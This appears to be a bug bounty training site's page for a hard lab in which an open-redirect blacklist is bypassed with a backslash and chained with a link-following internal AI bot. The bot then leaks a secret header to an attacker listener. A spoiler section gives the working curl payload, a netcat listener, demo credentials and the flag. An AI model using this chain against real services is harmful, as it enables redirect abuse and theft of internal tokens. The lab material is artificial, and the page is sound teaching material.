BBLABS v2BBLABSv2
>Home>Labs
>New labs

Latest 3 labs

Loading…

View all labs →
>Creators>Ranking
>Learn

Learn bug bounty

AcademyGuides, cheatsheets and glossaryVulnerabilitiesXSS, SQLi, IDOR, SSRF and moreHunter RoadmapYour step-by-step bug bounty pathBlogBug bounty guides and news
>Business>Pricing
ES
Log inLog in
>Home>Labs>New labs>Creators>Ranking>Learn>Business>Pricing
ES
Sign inCreate account
  1. Home
  2. Labs
  3. Open Redirect via Backslash Bypass + Header Drag
Hard$30030 min

Contact

Practice, learn and hack

Bug bounty practice platform with labs based on real reports. Learn ethical hacking in safe environments.

contact→

Follow us

YouTube
@0xGorka
X
@gorkaelbochi
LinkedIn
gorka-el-bochi-morillo
Instagram
@_.gorkaaa.b
Email
team@bblabs.es

Access every lab from €7.99/mo

New labs every week. Cancel anytime.

Create account

BBLabs is the bug bounty labs platform where you learn bug bounty with real vulnerabilities extracted from paid reports on HackerOne, Bugcrowd and Intigriti. Here you practice web hacking —XSS, SQLi, IDOR, SSRF, CSRF and more— in downloadable environments, capture the flag, read the writeup and apply the technique on active bug bounty programs.

BBLabs is the alternative to HackTheBox, TryHackMe and PentesterLab for those who want to practice bug bounty with real reports instead of artificial CTFs. From €7.99/mo, no commitment.

→ Learn bug bounty from scratch→ How to do bug bounty step by step→ Real bug bounty reports→ BBLabs for companies and academiesLabsAcademyVulnerabilitiesToolsHunter rankingXSS labsIDOR labsSSRF labsCSRF labsHackTheBox alternativeHack4u alternativeTryHackMe alternativePortSwigger alternativePentesterLab alternativeBug Bounty Labs comparisonHackerOne to practiceOffSec / OSCP alternativeINE / eWPT alternativeHTB Academy alternativeDVWA alternativeJuice Shop alternativeVulnHub alternativePentesterAcademy alternativeRoot-Me alternativeHackTheBox vs TryHackMeBest bug bounty platforms 2026BlogSpoilersWhat is bug bounty?How much do you earn in bug bounty?OWASP Top 10 explainedBest sites to practice web hackingHow to become an ethical hacker from scratchBurp Suite tutorial (Spanish)OSCP guide and prepGoogle Dorks for bug bountyHow much an ethical hacker earns in SpainBug bounty tools 2026Best cybersecurity certifications 2026Burp Suite tutorialsqlmap tutorialffuf web fuzzingnuclei tutorialHTTP Request SmugglingWAF bypassPrompt injection (LLM)Google Dorks
Made withand code
TermsPrivacyComparisonES

© 2026 BBLABS v2 — All rights reserved

Open Redirect via Backslash Bypass + Header Drag

By @gorka

Nexora AI Studios es un SaaS de bots de IA (marketplace estilo Poe.com) cuya consola pública valida con lista negra el parámetro `next` del login. Un detalle ortográfico en la lista (no contempla la barra invertida) deja escapar URLs externas tras la normalización WHATWG del navegador, y el bot interno *Admin Assistant* — que sigue links pegados en su chat desde dentro del service mesh — arrastra un header secreto en cada hop. Encadenar los dos defectos hace que el bot entregue el header privilegiado a un listener controlado por el atacante.

627 views10 completedUpdated Aug 2026
Log in to start

Learn to find this bug

This bug paid $300 on YesWeHack.

Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.

hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week
Create account
I already have an account

Access to all labs · no commitment · cancel anytime

Hunters who solved it· 8

flyingwhales1
@flyingwhales9 days ago
XL2
@xl4n25 days ago
AL3
@alex.burja.200029 days ago
gorka
@gorkaJun 2026
0xyo
@0xyoJun 2026
benjaminnocervigni
@benjaminnocervigniJun 2026
pl4nkton
@pl4nktonJun 2026
w4tchw0lf
@w4tchw0lfJun 2026

Objectives

1
Descubrir los parámetros de redirect post-login
2
Inventariar la lista negra de prefijos de la validación
3
Encontrar un carácter que el navegador trate como equivalente a `/` después del parsing
4
Constatar que el redirect existe pero no entrega flag por sí solo: tu navegador no transporta el secreto
5
Identificar entre los 6 bots del dashboard cuál es real y cuál es decoy
6
Encadenar el redirect vulnerable (URL del propio Nexora que pasa la allowlist) con el bot
7
Capturar la petición entrante del bot, extraer el header `X-ULTRA-SECRET-TOKEN`

Information

Platform
YesWeHack
Difficulty
Hard
Duration
30 min
Bounty
$300
Completed
10
Creator
gorka@gorka
Updated
Aug 2026

Achievement you'll earn

Solve this lab to unlock this shareable achievement

BBLABS.ESLab Solved
Hard$300
// achievement_unlocked

Open Redirect via Backslash Bypass + Header Drag

Open Redirect
Aug 2026
gorka
solved_by@gorkaMember since Mar 2026
bblabs.es// real bug bounty practice

Community writeups

Descripción del lab

Nexora AI Studios es una startup que ofrece una consola SaaS para crear, alojar y conversar con bots de IA. Su producto, Nexora Console, te recuerda a Poe.com o al GPT Store: tras login aterrizas en un dashboard con seis bots — Image Wizard, Code Sensei, Translator Pro, Email Composer, Data Analyst y Admin Assistant —, cada uno con su intro, sus capacidades y un chat individual. Cinco están pensados para usuarios finales; el sexto, Admin Assistant, es el bot que el propio equipo de operaciones usa internamente para "depurar links y previews desde la infraestructura de Nexora".

Has sido contratado como pentester externo. El alcance que te ha dado el cliente cubre toda la consola pública (http://localhost:1401), incluyendo registro, login, dashboard, chats, perfil, settings y billing. No tienes credenciales internas ni acceso al code base — solo una cuenta de prueba (attacker@nexora.ai / password123) y el portal expuesto. El equipo de Nexora insiste en que su validación de redirects post-login está endurecida con una lista negra mantenida por ellos mismos: están convencidos de que no se puede abusar.

La consola se ve pulida: animaciones, gradientes, typing indicators en los chats, historial de facturas en billing, tabs cosméticas en settings. La superficie es deliberadamente acotada — no hay endpoints "preview", ni shorteners, ni admin panel expuesto, ni webhooks. Tu cliente quiere saber si la consola, tal cual está, se puede pivotar para sacar algo que sólo vive dentro del service mesh: un header firmado, llamado X-ULTRA-SECRET-TOKEN, que las máquinas internas de Nexora se intercambian entre sí.

Tu trabajo es demostrar que sí, que se puede. Y dejar capturado el valor del header como prueba.

Cadena de ataque

La cadena tiene cuatro capas. Cada una es un paso pequeño; la dificultad está en encontrar la conexión entre ellas, no en cada salto individual.

Capa 1 — Descubrimiento del parámetro de redirect. El formulario de login (/login) acepta un query param ?next=/dashboard (default) y un alias legacy ?redirect_url=… que no aparece en la UI pero que el backend reconoce. Si tu cliente HTTP envía Accept: text/html, el backend responde con 302 Location: <next>; si envía Accept: application/json, devuelve { user, next } en el cuerpo y el frontend hace navigate(next) en cliente.

Capa 2 — La validación es una lista negra, no una allowlist. Hay una función isSafeRedirect() que rechaza todo lo que no empiece por /, todo lo que empiece por //, y los prefijos /javascript:, /data:, /vbscript:. Como buena lista negra, deja huecos: no contempla otros separadores que el parser de URLs del navegador (y de axios cuando sigue redirects) considera equivalentes al slash. La especificación WHATWG (§4.4 path-state) trata uno de esos caracteres exactamente igual que un slash dentro de un esquema con autoridad (http://, https://). La validación, que usa comparación literal sobre el string, no lo ve.

Capa 3 — Validación en local con tu navegador. Construyes una URL de bypass, te logueas con la cuenta demo, y compruebas en tu propio Chrome/Firefox que efectivamente acabas en un dominio externo. Es un open redirect "limpio" — útil para phishing en un programa real, pero aquí no te da la flag: tu navegador no es quien lleva el secreto. La flag vive en un header que sólo emite tráfico interno de Nexora.

Capa 4 — El bot Admin Assistant arrastra el header. En el dashboard, Admin Assistant anuncia que "ayuda al equipo de operaciones a depurar links y previews desde dentro de la infraestructura". Cuando pegas una URL en su chat, un proceso de servidor (axios, polling cada 4 s) la lee, valida que el host esté en una allowlist same-origin (localhost:1401, 127.0.0.1:1401, host.docker.internal:1401, nexora.ai, nexora) y hace un GET con tres headers: Authorization: Bearer <admin_jwt>, User-Agent: Nexora-AdminBot/1.4 y X-ULTRA-SECRET-TOKEN: FLAG{…}. El bot maneja redirects manualmente (maxRedirects: 0, hasta 3 hops): si recibe un 3xx, lee Location, lo resuelve como URL absoluta contra la URL actual (aquí es donde WHATWG hace su magia con el separador), reescribe loopback (localhost → host.docker.internal) para poder hablar con la red del host, y emite el siguiente hop con los mismos headers, incluido el secreto.

Encadenando: pegas en el chat una URL del propio Nexora (pasa la allowlist) cuyo next esté preparado con el carácter de bypass para apuntar a tu listener externo. El bot navega Nexora → recibe 302 → resuelve el Location como URL absoluta a tu listener → emite el siguiente hop hacia ti → tu nc (o python -m http.server) recibe la request entrante y ve el header.

Spoiler — payload final y comandos
# Terminal 1 — listener en el host
nc -lp 9999

# Terminal 2 — login del atacante (cookie almacenada en cookies.txt)
curl -i -c cookies.txt -X POST http://localhost:1401/api/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@nexora.ai","password":"password123"}'

# Terminal 2 — mensaje al chat de Admin Assistant con la URL maliciosa
curl -b cookies.txt -X POST http://localhost:1401/api/chat/admin-assistant/messages \
  -H 'Content-Type: application/json' \
  -d '{"body":"http://localhost:1401/login?next=/\\127.0.0.1:9999"}'

# Esperar ~4-8s (un ciclo del bot). En Terminal 1 aparece la petición entrante con:
#   X-ULTRA-SECRET-TOKEN: FLAG{1158491d6fb05abc8933c6207e131e83}

Reescritura WHATWG: el backend responde 302 Location: /\127.0.0.1:9999. El bot resuelve new URL('/\\127.0.0.1:9999', 'http://localhost:1401/login?...') → http://127.0.0.1:9999/ (porque \ se trata como / después del scheme con autoridad). El bot reescribe loopback → http://host.docker.internal:9999/ y emite ese GET con los headers internos.

Flag

La flag está embebida en el header X-ULTRA-SECRET-TOKEN que el bot envía en cada hop. Su valor se computa de forma determinística al boot del contenedor.

FLAG{1158491d6fb05abc8933c6207e131e83}

Verifica:

echo -n 'nexora::open_redirect::backslash::admin_assistant' | md5sum
# 1158491d6fb05abc8933c6207e131e83

O directamente con el script del repo:

bash flag/verify.sh

Referencias

  • HackerOne — Poe.com Open Redirect via backslash (2023): reporte público que documenta el mismo bypass \ no contemplado en redirect_url tras OAuth. Bounty: 750 USD.
  • WHATWG URL Standard §4.4 — path-state: especifica que \ se trata como solidus dentro de schemes con autoridad. https://url.spec.whatwg.org/#path-state
  • Snyk research — Open Redirect via Backslash (2022): catálogo de bypasses por normalización de carácter, incluye matriz de comportamiento entre parsers (browser, axios, Go net/url, Python urllib).
  • PortSwigger Web Security Academy — Open redirection: lecciones interactivas sobre la familia CWE-601 y vectores de explotación encadenados. https://portswigger.net/web-security/all-labs#open-redirection
  • OWASP Cheat Sheet — Unvalidated Redirects and Forwards: guía de remediación canónica (allowlist absoluta, tokens firmados, no aceptar URLs externas). https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html

Download the environment

Reproduce it and find the bug yourself

Create account

Tools

NetcatNavegadorBurp Suite

Prerequisites

  • Conocimiento básico de HTTP
  • Familiaridad con un proxy

Tags

Open Redirect